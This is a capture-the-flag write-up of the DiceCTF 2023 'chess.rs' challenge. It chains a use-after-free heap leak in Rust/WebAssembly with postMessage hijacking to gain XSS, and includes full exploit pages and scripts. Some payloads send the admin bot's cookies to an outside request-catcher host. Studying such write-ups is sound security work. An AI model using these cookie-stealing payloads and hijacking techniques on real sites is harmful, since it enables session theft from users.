DiceCTF 2023 - chess.rs

🚀 blazingfast rust wasm chess 🚀

TL;DR

chess.rs is a pwn(/web) challenge using Rust with WebAssembly. The goal is to extract the cookies of the admin browser bot.

We have a rust webserver providing two pages index.html (graphical frontend) and engine.html ("backend", runs the wasm logic). index.html loads engine.html as an iframe. They send messages through .postMessage and receive them through the window.onmessage event listener.

There is a hidden parameter in the init function on engine.html that allows setting a custom board position via FEN. If this parameter is used a UAF (use after free) is triggered on successive init calls with the same id which allows leaking values in the heap. We can use this vulnerability to leak the original game id.

This can be used to hijack the communication with index.html and cause an XSS with a malicious error message.

We can exploit this by creating a malicious website that opens chessrs.mc.ax with window.open. After that ,we can communicate with index.html and engine.html through .postMessage to leak the id and cause and XSS, which leaks the SameSite=Lax Cookies of the adminbot.

The whole exploit is at the end of the page.

Introduction

chess.rs is a pwn (and web) challenge which was ranked in the middle of the DiceCTF 2023 pwn challenges. The following description was given

🚀 blazingfast rust wasm chess 🚀

(the flag is in the admin bot's cookie)

chessrs.mc.ax

Admin Bot

The Information: "(the flag is in the admin bot's cookie)", made us guess that we will probably need to find an XSS on the website. But first, let us look at the websites.

Visiting chessrs.mc.ax gave us the following website:

chessrs.mc.ax

It's a chessboard that allows you to play chess with yourself, after trying different stuff we can conclude:

  • Only legal moves are allowed (even castling, en passant)
  • checkmate isn't shown, but the losing site isn't allowed to make any moves
  • Move history is tracked in the white box to the right
  • pressing restart reloads the pages

Looking at the traffic we see that moves aren't sent to a remote server, therefore everything is handled client-side, this also explains white the board is reset even after a soft reload.

chessrs.mc.ax

and Admin Bot gave us this form:

chessrs.mc.ax

which visits any website with these parameters:

GET / HTTP/1.1

Host: 0x6fe1be2.requestcatcher.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5412.0 Safari/537.36

Sadly we can't conclude what browser engine is used through User-Agent :,).

Source Code

First, we look at the file structure:

.:
    build.sh
    Dockerfile

    ./app:
        Cargo.lock
        Cargo.toml

        ./app/src:
            main.rs

        ./app/static:
            engine.html
            index.html

            ./app/static/js:
                chess_wasm_bg.wasm
                chess_wasm.js
                game.js

            ./app/static/mp3:
                ...
            ./app/static/img:
                ...
            ./app/static/css:
                ...

    ./chess-wasm:
        Cargo.lock
        Cargo.toml

        ./chess-wasm/src:
            game.rs
            handler.rs
            lib.rs

Looking at build.sh we see that the rust webserver runs in ./app and ./chess-wasm hold the chess logic in rust, which is compiled into web assembly and served to the client.

#!/bin/sh
# use if you want to build everything and test locally
cd chess-wasm && wasm-pack build --no-typescript --release --target web && cd ..
cd app && cargo build --release && cd ..
cp chess-wasm/pkg/chess_wasm* app/static/js/
cd app && cargo run --release && cd ..

we also recognize that the actual web server is ./app/src/main.rs.

#[tokio::main]
async fn main() {
    ...
    let spa = SpaRouter::new("/", "static");
    ...
}

By looking at the webserver code we realise that all resources in ./app/static are served through the web server, which proves that everything is truly done on the client.

Let us take a closer look at the served resources on the website:

./app/static:
    engine.html
    index.html

    ./app/static/js:
        chess_wasm_bg.wasm
        chess_wasm.js
        game.js

There are only two .html pages:

engine.html

<!DOCTYPE html>
<html>
    <body>
        <script type="module">
            import * as chess from "/js/chess_wasm.js";
            await chess.default();

            window.onmessage = (e) => {
                if (typeof e.data !== "object") return;
                e.source.postMessage(chess.handle(JSON.stringify(e.data)), e.origin);
            };

            window.top.postMessage("ready", "*");
        </script>
    </body>
</html>

and index.html

<!DOCTYPE html>
<html lang="en">

<head>
    ...
</head>

<body>
    ...
    <script src="/js/game.js" type="module"></script>
    <iframe src="/engine.html" id="engine"></iframe>
</body>

</html>

One interesting discovery is that index.html includes engine.html as an iframe. In addition, the Rust WebAssembly Code is only imported by engine.html. index.html imports game.js.

game.js

// sorry for the spaghetti

...
const engine = $("#engine")[0].contentWindow;
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const id = [...crypto.getRandomValues(new Uint8Array(16))].map(v => alphabet[v % alphabet.length]).join("");
...
const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);
...

window.onmessage = (e) => {
    if (e.data === "ready") {
        send({ type: "init"});
        return;
    }

    if (e.data.id !== id) return;

    if (e.data.type === "init") {
        board = Chessboard('chessboard', {
            ...
            onDragStart: (source) => ...,
            onDrop: (source, target) => {
                ...
                send({ type: "play_move", data: action });
            }, 
            onMouseoutSquare: () => {...},
            onMouseoverSquare: (pos) => {...},
        });

        send({ type: "get_state" });
    }

    if (e.data.type === "play_move") {
        send({ type: "get_state" });
    }

    if (e.data.type === "error") {
        $("#error").html(e.data.data);
        send({ type: "get_state" });
    }

    if (e.data.type === "get_state") {
        state = e.data.data;
        board.position(state.current_fen, true);
        $("#history").text(state.history.map((v, i) => `${i+1}. ${v}`).join("\n"));
        ...
    }
};

This code is very important. We see that all communication to the chess logic happens through the <iframe src="engine.html" /> and the window.onmessage event listener.

Data is sent to the engine through const send = (msg) => engine.postMessage({ ...msg, id }, location.origin); using the postMessage interface. Whereas Request always follow this schema

{
    // securely generated on startup
    id: '...',
    type: 'init' | 'get_state' | 'play_move',
    // optional
    // depends on type
    data: '...' 
}

All responses are captured by window.onmessage and follow this schema:

{
    ...
    data: 'ready' | {
        type: 'play_move' | 'get_state' | 'error',
        // optional
        data: '...' // depends on type
    }
}

Another important discovery is that messages from the iframe directly get written into the open page (for type error or get_state), which makes it possible to create an XSS if we manage to somehow hijack this communication interface. The only check preventing us from directly triggering the window.onmessage event listener is this check: if (e.data.id !== id) return;.

XSS PoC

Using the know information we can already try to create some PoC (Proof of concepts). If we open Developer Tools inside the browser and set a breakpoint right after the id we can easily extract it and use it to play around with the engine. Alternatively, we can host the chess.rs ourselves and hardcode the id.

Now we use the following Code to directly communicate with the engine:

$("#engine")[0].contentWindow.postMessage({type:'<img src=x onerror=alert(1)>', id:'0x6fe1be20c0ffee'}, 'http://192.168.56.10:1337');

And tada it works.

chessrs.mc.ax

It is also possible to just communicate directly with index.

window.postMessage({type:'error', data:'<img src=x onerror=alert(1)>', id:'0x6fe1be20c0ffee'}); 

Exploit Interface

After creating and finding this PoC we needed to find a way to send messages to the index and engine. As we found out earlier there wasn't an GET Request or something else we could use for this mission.

We decided that iframes are the way to go, they allow us to open the website and directly communicate with it, these options seemed too good to be true (and turned out to be) and we set forth to create another PoC.

poc.html

<!doctype html>
<html>
    <body>
        <iframe src="http://192.168.56.10:1337/" id="index" width="2000px" height="1000px"></iframe>
        <script>
const index = document.getElementById("index").contentWindow;
const origin = "http://192.168.56.10:1337/"
const id = '0x6fe1be20c0ffee';
const send = (msg) => index.postMessage({ ...msg, id}, origin);

window.onmessage = (e) => {
    console.log(e.data);
    if (e.data === "ready") {
        send({type:'error', data:'<img src=x onerror=alert(1)>'});
    }
};
        </script>
    </body>
</html>

And it worked again!!!

chessrs.mc.ax

Now we only need to somehow leak the id and we should be able to solve this challenge.

Authors Note:

Normally at this point, a seasoned CTF veteran should realize that things are going too smoothly especially considering that no one has solved this challenge at this point. But let us stop with the foreshadowing and continue.

chess_wasm

After finding a way to create an XSS we now look into ./chess_wasm code the find a way to leak the id.

./chess-wasm:
    Cargo.lock
    Cargo.toml

    ./chess-wasm/src:
        game.rs
        handler.rs
        lib.rs

There are 3 rust files:

  • lib.rs

interface for accessing the imported rust dependencies

  • handler.rs

iframe onmessage interface.

  • game.rs

actual game logic

After looking into the source code we discover that there is a hidden functionality in the init call. It is possible to manually set a FEN, to specify a start layout in the chess game.

handler.rs

...

pub fn handle(msg: &EngineMessage) -> anyhow::Result<EngineResponse> {
    match msg.r#type.as_str() {
        "init" => init(msg),
        "get_state" => get_state(msg),
        "play_move" => play_move(msg),
        unk => Err(anyhow!("Unknown type '{unk}'")),
    }
}

fn get_data<T: DeserializeOwned>(data: &Option<serde_json::Value>) -> anyhow::Result<T> { ... }

type InitData = String;
fn init(msg: &EngineMessage) -> anyhow::Result<EngineResponse> {
    // get data attribute from message
    let data: InitData = get_data(&msg.data).unwrap_or_default();

    // game id format check alphanumeric 16 characters max
    ...

    let mut state = STATE.lock().unwrap();

    // check if game with same id already exists
    if let Some(state) = state.get(&msg.id) {
        return Ok(EngineResponse {
            new_type: Some("error".to_string()),
            data: Some(json!(format!("The game '{:#?}' already exists", state))),
        });
    }

    // create a new game with provided data
    let game = Game::start(&data);
    state.insert(msg.id.clone(), EngineState { game });

    Ok(EngineResponse {
        new_type: None,
        data: Some(json!("ready")),
    })
}

fn get_state(msg: &EngineMessage) -> anyhow::Result<EngineResponse> { ... }
fn play_move(msg: &EngineMessage) -> anyhow::Result<EngineResponse> { ... }

game.rs

...

#[derive(Debug)]
pub enum StartType {
    Fen,
    Epd,
}

// to store all moves and history
#[derive(Debug)]
pub struct Game<'a> {
    pub start_type: StartType,
    pub start: &'a str,
    pub moves: Vec<Move>,
}

static DEFAULT_FEN: &str = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1";

pub trait ChessGame {
    fn start(init: &str) -> Self;
    fn get_state(&self) -> Chess;
    fn get_fen(&self) -> String;
    fn get_moves(&self) -> Vec<String>;
    fn make_move(&mut self, m: &str) -> anyhow::Result<String>;
}

fn validate_fen<'a, 'b>(fen: &'b str, default: &'a &'b str) -> (StartType, &'a str) { ... }
fn validate_epd<'a, 'b>(epd: &'b str, default: &'a &'b str) -> (StartType, &'a str) { ... }

impl ChessGame for Game<'_> {
    fn start(init: &str) -> Self {
        let mut validator: fn(_, _) -> (StartType, &'static str) = validate_fen;
        if init.contains(';') {
            validator = validate_epd;
        }
        // check if init is set and use DEFAULT_FEN if not
        let data: (StartType, &str) = validator(init, &DEFAULT_FEN);
        Game {data: Some(json!(format!("The game '{:#?}' already exists", state))),
            start_type: data.0,
            start: data.1,
            moves: Vec::new(),
        }
    }

    fn get_state(&self) -> shakmaty::Chess { ... }
    fn get_fen(&self) -> String { ... }
    fn get_moves(&self) -> Vec<String> { ... }
    fn make_move(&mut self, m: &str) -> anyhow::Result<String> { ... }
}

Authors Note:

It should also be possible to set an EPD by adding a semicolon (;), but the library uses Shakmaty for validating FENs or EPDs, which doesn't support semicolons for EPDs.

We also realized that wasm_binding version used was out of date (2.5 years old), but we didn't find any vulnerability regarding this discovery.

Leaking ID

Trying to set a starting FEN manually actually corrupts the newly created Game structure. This can be reproduced like this.

leak.html

<!doctype html>
<html>
    <body>
        <iframe src="http://192.168.56.10:1337/" id="index" width="2000px" height="1000px"></iframe>
        <script>
const index = document.getElementById("index").contentWindow;
const origin = "http://192.168.56.10:1337/"
const id = '0x6fe1be20c0ffee';
const send = (msg) => index.postMessage({ ...msg, id}, origin);

window.onmessage = (e) => {
    if (e.data === "ready") {
        // create a new chess game with custom FEN
        e.source.postMessage({data:'k6K/8/8/8/8/8/8/8 w - - 0 1', type:'init', id:'any'}, 'http://192.168.56.10:1337');
        setTimeout(() => {
            // leak heap memory with use after free vulnerability
            e.source.postMessage({type:'init', data:' ', id:'any'}, 'http://192.168.56.10:1337');
        }, 100);
    }
    if (e.data.type === 'error'){
        console.log(e.data.data);
    } else console.log(e.data);
};
        </script>
    </body>
</html>

Returns the output:

The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "    game: Game {\n       8\0\0",
        moves: [],
    },
}' already exists

Looking at the output we realize that we likely leaked some data from the heap. There is probably due to a use after free (UAF) vulnerability in Rust, where the heap memory allocated by FEN is probably freed even though it is still in use. This is an important discovery because it will likely help us leak the original id, which is needed for our XSS.

The leak occurs if a duplicated ID is provided, which results in the corresponding game to be returned in an error message.

handler.rs

// check if game with same id already exists
if let Some(state) = state.get(&msg.id) {
    return Ok(EngineResponse {
        new_type: Some("error".to_string()),
        data: Some(json!(format!("The game '{:#?}' already exists", state))),
    });
}

Playing around with this vulnerability sometimes returns and Error Uncaught TypeError: TextDecoder.decode : Decoding failed in the TextDecoder. This is due to an illegal character being decoded in /js/chess_wasm.js which is loaded in engine.html. This makes the exploit creation process a lot harder because we don't just need to leak the right heap but we must also watch out that no illegal character is decoded. Also we can't just remove illegal characters because we don't have access to the wasm to js interface.

Trial and Error

After discovering this vulnerability we started manually changing the length of the creation and leak message. This was fairly easy because Shakmaty (the library used for FEN parsing) trimmed the provided fen which allowed us to generate arbitrary long FENs. It is also important to note, that the leak Message doesn't need to provide a valid FEN.

  • creation (first call with unique id)

specifies how much data can be leaked and how large the freed memory section is

  • leak (repeated call with an id)

moves the leaked memory section with the length of the send request (id and type attributes are mandatory)

After some trial and error, we managed to leak 8 bytes of the original game id.

8/16

const index = document.getElementById('index').contentWindow;
const origin = "https://chessrs.mc.ax/";
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '0x6fe1be4';
console.log('PWN');
var source = null;

function ws(nmb){
    let out = "";
    for(let i = 0; i < nmb; i++) out += " ";
    return out;
}

window.onmessage = (e) => {
    if (source == null){
        source = e.source;
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq - 0 1', id:id}, origin);
        setTimeout(() => {
            console.log('create');
            index.postMessage('ready', origin);
            setTimeout(() => {
                source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq' + ws(0x48)  + ' - 0 1',id:id}, origin);
            }, 500);
        }, 500);
    }
    if (e.data === 'ready') console.log(e.data);
    else console.log(e.data.data);
    return;
};

Then we discovered 5 more bytes.

13/16

source = e.source;
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq - 0 1', id:id}, origin);
setTimeout(() => {
    console.log('create');
    index.postMessage('ready', origin);
    setTimeout(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq' + ws(0x7 + 0x38)  + ' - 0 1',id:id}, origin);
        setTimeout(() => {
            source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq'+ws(0x8)+' - 0 1',id:id2}, origin);
            setTimeout(() => {
                index.postMessage('ready', origin);
                setTimeout(() => {
                    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w -' + ws(0x3)  + '- 0 1',id:id2}, origin);
                }, 500);
            }, 500);
        }, 500);
    }, 500);
}, 500);

At this point we realized that the remaining 3 characters only results in about 200k (62^3) permutations, so we tried to brute force it. Our brute force script took about 10 seconds, but after creating a ticket and asking how long the adminbot stays on the site, we received the answer that exploit must take no more than 5 seconds, which made this approach impossible. Therefore we proceeded in trying to leak more bytes.

15/16

source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
setTimeout(() => {
    console.log('create');
    index.postMessage('ready', origin);
    setTimeout(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        setTimeout(() => {
            source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
            setTimeout(() => {
                index.postMessage('ready', origin);
                setTimeout(() => {
                    source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
                    setTimeout(() => {
                        index.postMessage('ready', origin);
                        setTimeout(() => {
                            source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
                        }, 500);
                    }, 500);
                }, 500);
            }, 500);
        }, 500);
    }, 500);
}, 500);

This created the output:

{id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "xzro2tXK\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
        moves: [],
    },
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "_____________________________aWe38xzro2",
        moves: [],
    },
}' already exists
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "________________________:\"Ot\u{13}\0\0\00x6fe1b",
        moves: [],
    },
}' already exists
index.js:84 Ot aWe38xzro2tXK

As you can see different bytes of the original game id are leaked in every error message.

Authors Note:

Even though this exploit code doesn't seem overly complicated it took multiple hours of trial and error to create it.

7 Stages of Grief

After seemingly combing all components we created our first possible solution for the challenge. But we soon hit a roadblock.

index.html

<!doctype html>
<html>
    <head>
        <title>chess.rs exploit</title>
    </head>
    <body>
        <iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe>
        <script type="module" src="/js/index.js"></script>
    </body>
</html>

js/index.js

const delay = t => new Promise(resolve => setTimeout(resolve, t));
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const index = document.getElementById('index').contentWindow;
const origin = "https://chessrs.mc.ax/";
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '0x6fe1be4';
console.log('PWN');
var source = null;
var leaked_id = "";

function ws(nmb){
    let out = "";
    for(let i = 0; i < nmb; i++) out += " ";
    return out;
}

window.onmessage = (e) => {
    console.log(e.data);
    if (source == null){
        source = e.source;
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin)

        delay(50).then(() => {
            console.log('create');
            index.postMessage('ready', origin);
            return delay(50);
        }).then(() => {
       source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
            return delay(50);
        }).then(() => {
            source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
            return delay(50);
        }).then(() => {
            index.postMessage('ready', origin);
            return delay(50);
        }).then(() => {
       source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
            return delay(50);
        }).then(() => {
            index.postMessage('ready', origin);
            return delay(50);
        }).then(() => {
       source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
            return delay(50);
        }).then(() => {
            console.log(leaked_id);
       fetch(`https://en3kdn8ehra43.x.pipedream.net/?${leaked_id}`);
            for (var i = 0; i < alphabet.length; i++) {
                let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
                index.postMessage({ type: 'error', id: id, data: "<script>fetch(`https://en3kdn8ehra43.x.pipedream.net/?${document.cookie}`);</script>" }, origin);
            }
        });
    }

    if (e.data === 'ready') return;

    if (e.data.type === 'error') {
        if (leaked_id.length === 0) {
            leaked_id = e.data.data.substr(82,8);
        } else if (leaked_id.length === 8) {
            leaked_id = e.data.data.substr(111,5) + leaked_id;
        } else if (leaked_id.length === 13) {
       leaked_id = e.data.data.substr(109,2) + ' ' + leaked_id;
    }
    }
    //index.postMessage(e.data, origin);
    return;
};

After trying to extract cookies with this script we soon came to realize that only Same-Site: None could be extracted by this method, not the default Same-Site: Lax.

Noooooooooooooooooooooo.mp3

Thinking that there is no other way to create an exploit interface we decided to create a ticket an ask if there might be a problem with the adminbot and if this was the intended solution.

Authors Note:

After this setback, we decided to call it for tonight because we had already spent about 15 hours on this challenge and were close to collapsing.

adminbot-test.js

Our bargain the day befoire resulted in the release of adminbot-test.js which provided us with important information.

// npm i puppeteer
// script to emulate admin bot

const puppeteer = require("puppeteer");

const FLAG = "flag{test_flag}";

function sleep(time) {
    return new Promise(resolve => {
        setTimeout(resolve, time)
    })
}

const visit = async (url) => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
            ],
            dumpio: true
        });

        const page = await browser.newPage();
        await page.goto('https://chessrs.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
        await page.evaluate(flag => {
            document.cookie = `flag=${flag}`;
        }, FLAG);
        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
        await sleep(3000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

// place your exploit URL here
visit("EXPLOIT_URL");

First of all, puppeteer uses Chromium by default, which allowed us to create a more suited test environment. Also now we know that cookies are set directly with document.cookie='flag=...' which proved that they have the default security setting SameSite=Lax, that is also why our first attempt didn't work. Also, puppeteer doesn't disable Popups which is major news because our web specialist advised us on using window.open(...) instead of iframes because it allowed us to access SameSite: Lax cookies.

XSS PoC V2

Now we need to create a new Proof of Concept using window.open(...):

poc2.html

<!doctype html>
<html>
    <body>
        <script>
const origin = "http://192.168.56.10:1337/"
const index = window.open(origin); 
const id = '0x6fe1be20c0ffee';
var source = null;

setTimeout(() => {
    index.postMessage({type:'error', data:'<img src=x onerror=alert(1)>', id:id}); 
}, 250);
        </script>
    </body>
</html>

XSS2

This was a fairly easy task, because it still used .postMessage(...) for communication

the_definition_of_insanity.mp3

Now that we have our new proof of concept we need to leak the id. Sadly our old leak didn't work and we needed to brute force the different combinations of message and leak length again.

here_i_go_again.mp3

After a few hours, i once again create a leak id script that worked on my test environment.

var delaytime = 50;
function exploitWindow(){
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
    delay(delaytime).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x10),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        console.log(leaked_id);
        for (var i = 0; i < alphabet.length; i++) {
            let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
            let payload = `<script> console.log('${id}:' + document.cookie); document.location = '${location.origin}/extract.html?' + document.cookie </script>`;
            index.postMessage({ type: 'error', id: id, data: payload }, origin);
        }
    });
}

That once again managed to leak the 15 Bytes of the id:

Window PWN
index.js:37 {id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "Q5D46ARH\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
        moves: [],
    },
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "________________________:\"NK\u{13}\0\0\00x6fe1be3H\"}#\0\0\0___",
        moves: [],
    },
}' already exists
index.js:37 {id: '', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "________________te\",\u{1b}\0\0\0errorCqusQQ5D46",
        moves: [],
    },
}' already exists
index.js:84 NK CqusQQ5D46ARH

Authors Note:

I need the reader to understand that at this point I probably spent about 8 hours of my life manually changing the lengths of strings which brought me to the brink of insanity. After spending this plus more hours on this challenge I didn't just want the flag.

I_need_it.mp3

Mental Breakdown

After doing nearly every step again except this time using a new window instead of an iframe my hopes were up again. With only a few hours reaming until the CTF closes I hoped that this time everything would work out and we finally get the flag.

Once again everything worked on my machine. This time it was also possible to extract LAX document.cookies, which worked on my test instance as well as the main instance one chessrs.mc.ax. But to my surprise, I didn't work.

ARE_YOU_KIDDING_ME.mp3

Authors Note:

insert rant about web challenges here

Light at the end of a Tunnel

Luckily by desperately playing around with my exploit, I concluded that the problem was the duration of my delay and by doubling it, it finally worked on the admin bot :,) .

LEEETTTTSSSS_GGOOOOOOOOOOO!!!!!111!1.mp3

Flag: dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}

Final Exploit (deployed on apache2) :

index.html

<!doctype html>
<html>
    <head>
        <title>chess.rs exploit</title>
    </head>
    <body>
        <!--iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe-->
        <!--<iframe src="https://chessrs.mc.ax/engine.html" id="engine"></iframe>-->
        <script type="module" src="/js/index.js"></script>
    </body>
</html>

js/index.js

const delay = t => new Promise(resolve => setTimeout(resolve, t));
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const origin = "https://chessrs.mc.ax/";
const index = window.open(origin);
//const index = document.getElementById('index').contentWindow;
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '';
console.log('PWN');
var source = null;
var leaked_id = "";
var delaytime = 100;

window.onmessage = (e) => {
    if (e.data.type === 'error') {
        console.log(e.data.data);
        if (leaked_id.length === 0) {
            leaked_id = e.data.data.substr(82,8);
        } else if (leaked_id.length === 8) {
            leaked_id = e.data.data.substr(109,2) + ' ' + leaked_id;
        } else if (leaked_id.length === 11) {
            leaked_id = leaked_id.substr(0,3) +  e.data.data.substr(120,5) + leaked_id.substr(3, 8);
    } else
        console.log(e.data);
    }
    if (source == null){
        source = e.source;
        setTimeout(exploitIframe, delaytime)
    }
    return;
};


function ws(nmb){
    let out = "";
    for(let i = 0; i < nmb; i++) out += "_";
    return out;
}

function exploitWindow(){
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
    delay(delaytime).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x10),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        console.log(leaked_id);
        fetch(location.origin + '/id.html?' + leaked_id);
        for (var i = 0; i < alphabet.length; i++) {
            let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
            let payload = `<script> console.log('${id}:' + document.cookie); document.location = '${location.origin}/extract.html?' + document.cookie </script>`;
            index.postMessage({ type: 'error', id: id, data: payload }, origin);
        }
    });
}

function exploitIframe(){
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
    delay(delaytime).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
       source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        console.log(leaked_id);
        for (var i = 0; i < alphabet.length; i++) {
            let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
            let payload = `<script> console.log(document.cookie); </script>`;
            index.postMessage({ type: 'error', id: id, data: payload }, origin);
        }
    });
}

setTimeout(() => {
    if(source == null){
        source = index.frames[0];
        exploitWindow();
    }
}, delaytime*2);

The Flag was extracted by watching the apache2 logs with tail -f /var/log/apache2/error.log

Author note:

I believe I spend about 19 hours in total on this challenge and I'm just happy we solved it

Its_done_Its_over.mp3

Notes

Future

In the future, we should look into a better way to debug wasm code in order to rationalize memory behaviour better than just trying random values.

Also, we need a better Test interface, that reduces user interaction, maybe using Browser Automation Tools like Puppeteer or Selenium are an Option

Official Writeup

I really recommend reading through the official writeup because it goes more into detail about the underlying bug in Rust that causes the use after free to occur.

Why do these values work? I didn't want to trace heap allocations, so... ¯(ツ)

Good to know that the creator of the solution also just tried random values, I wonder if there is some trick to reduce the amount of time wasted on this process (he probably just wrote a program to brute force it)

Then, with this leak, we can send an error message to the iframe at https://chessrs.mc.ax, and get JS execution on that page! Now there's only one problem left - SameSite. Since the flag is in the admin's cookie and is set with just document.cookie, it is SameSite Lax by default, which means that the cookie isn't in the iframe. I know that one team got really tripped up by this.

Mom_get_the_camera.mp3

We got mentioned in the official write-up!!!!


Navigation